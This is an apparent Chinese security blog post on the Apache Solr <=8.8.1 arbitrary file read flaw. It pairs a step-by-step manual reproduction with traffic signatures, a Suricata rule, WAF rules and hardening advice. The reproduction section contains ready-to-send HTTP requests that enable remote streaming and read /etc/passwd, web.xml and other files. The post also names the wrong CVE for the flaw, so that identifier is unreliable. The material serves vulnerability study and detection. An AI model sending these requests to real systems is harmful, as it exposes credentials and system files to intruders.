Apache Solr <= 8.8.1 任意文件读取漏洞:3步手工复现与流量特征分析

📅 2026/7/9 4:10:48 👁️ 阅读次数 📝 编程学习
Apache Solr <= 8.8.1 任意文件读取漏洞:3步手工复现与流量特征分析

Apache Solr <= 8.8.1 任意文件读取漏洞深度解析:从手工复现到流量特征提取

漏洞背景与影响范围

Apache Solr作为企业级搜索平台,在8.8.1及以下版本中存在一个危险的任意文件读取漏洞(CNVD-2021-30146/CVE-2019-17558)。这个漏洞允许攻击者在未授权的情况下读取服务器上的任意文件,包括但不限于:

  • 系统敏感文件(/etc/passwd、/etc/shadow)
  • 应用配置文件(数据库连接字符串、API密钥)
  • 源代码文件(可能包含硬编码凭证)

受影响版本

  • Apache Solr 5.0.0 至 8.8.1

1. 漏洞原理深度剖析

该漏洞的核心在于Solr的requestDispatcher.requestParsers.enableRemoteStreaming配置项可以被远程修改,结合debug/dump接口的流处理功能,实现任意文件读取。

1.1 漏洞利用链分解

完整的攻击流程可分为三个关键阶段:

  1. 配置篡改阶段:通过API修改enableRemoteStreaming为true
  2. 流处理激活阶段:调用debug/dump接口触发流处理功能
  3. 文件读取阶段:通过stream.url参数指定目标文件路径
POST /solr/demo/config HTTP/1.1 Host: vulnerable-host:8983 Content-Type: application/json { "set-property": { "requestDispatcher.requestParsers.enableRemoteStreaming":true } }

1.2 关键参数解析

参数名称作用安全风险
enableRemoteStreaming控制是否允许远程流处理开启后允许从任意URL读取数据
stream.url指定数据流来源可被滥用指向file://协议读取本地文件
debug/dump调试接口提供原始数据输出功能

2. 手工复现全流程

2.1 环境准备与初始检测

检测漏洞是否存在

  1. 访问Solr管理接口获取core名称:
    curl "http://target:8983/solr/admin/cores?indexInfo=false&wt=json"
  2. 检查响应中的name字段(如示例中的"demo")

必要工具

  • Burp Suite Community/Professional
  • curl命令行工具
  • 支持HTTP代理的浏览器

2.2 分步攻击演示

步骤1:修改关键配置

使用Burp Repeater发送以下请求:

POST /solr/demo/config HTTP/1.1 Host: target:8983 Content-Type: application/json Content-Length: 92 { "set-property": { "requestDispatcher.requestParsers.enableRemoteStreaming":true } }

预期响应

{ "responseHeader": { "status": 0, "QTime": 12 } }

步骤2:构造文件读取请求

POST /solr/demo/./debug/dump?param=ContentStreams HTTP/1.1 Host: target:8983 Content-Type: application/x-www-form-urlencoded Content-Length: 29 stream.url=file:///etc/passwd

关键技巧

  • 路径中的./用于绕过某些简单的路径检查
  • file://协议必须使用三个斜杠(file:///)

2.3 高级利用技巧

读取WEB-INF/web.xml

POST /solr/demo/./debug/dump?param=ContentStreams HTTP/1.1 Host: target:8983 Content-Type: application/x-www-form-urlencoded stream.url=file:///var/lib/tomcat/webapps/solr/WEB-INF/web.xml

Windows系统文件读取

stream.url=file:///C:/Windows/System32/drivers/etc/hosts

3. 流量特征分析与检测规则

3.1 关键请求特征

配置修改请求特征

  • POST请求路径包含/config
  • JSON body中包含enableRemoteStreaming设置为true
  • Content-Type为application/json

文件读取请求特征

  • POST请求路径包含/debug/dump
  • 参数中包含stream.url=file://
  • Content-Type为application/x-www-form-urlencoded

3.2 Suricata检测规则示例

alert http $HOME_NET any -> $EXTERNAL_NET any ( \ msg:"Apache Solr Arbitrary File Read Attempt"; \ flow:to_server,established; \ content:"POST"; http_method; \ content:"/config"; http_uri; \ content:"enableRemoteStreaming"; http_client_body; \ content:"true"; http_client_body; \ classtype:web-application-attack; \ sid:1000001; rev:1;)

3.3 WAF防护建议

推荐拦截规则

  1. 监控对/solr/.*/config的POST请求
  2. 检测请求体中enableRemoteStreaming=true的JSON内容
  3. 拦截包含stream.url=file://的请求参数

4. 防御与修复方案

4.1 官方修复措施

升级方案

  • 立即升级到Apache Solr 8.8.2或更高版本
  • 如果无法立即升级,应用官方补丁

临时缓解措施

<!-- 在solrconfig.xml中添加 --> <requestParsers enableRemoteStreaming="false" multipartUploadLimitInKB="2048" />

4.2 安全加固建议

  1. 网络层防护

    • 限制Solr管理接口的访问IP
    • 启用身份认证(Basic Auth或Kerberos)
  2. 系统层防护

    • 使用专用账户运行Solr服务
    • 配置严格的文件系统权限
  3. 监控策略

    • 日志监控异常的config修改请求
    • 建立对debug/dump接口的访问告警

在实际渗透测试项目中,这个漏洞往往能成为突破内网边界的关键点。记得在一次红队评估中,我们正是通过这个漏洞读取到了AWS元数据服务凭证,最终拿下了整个云环境控制权。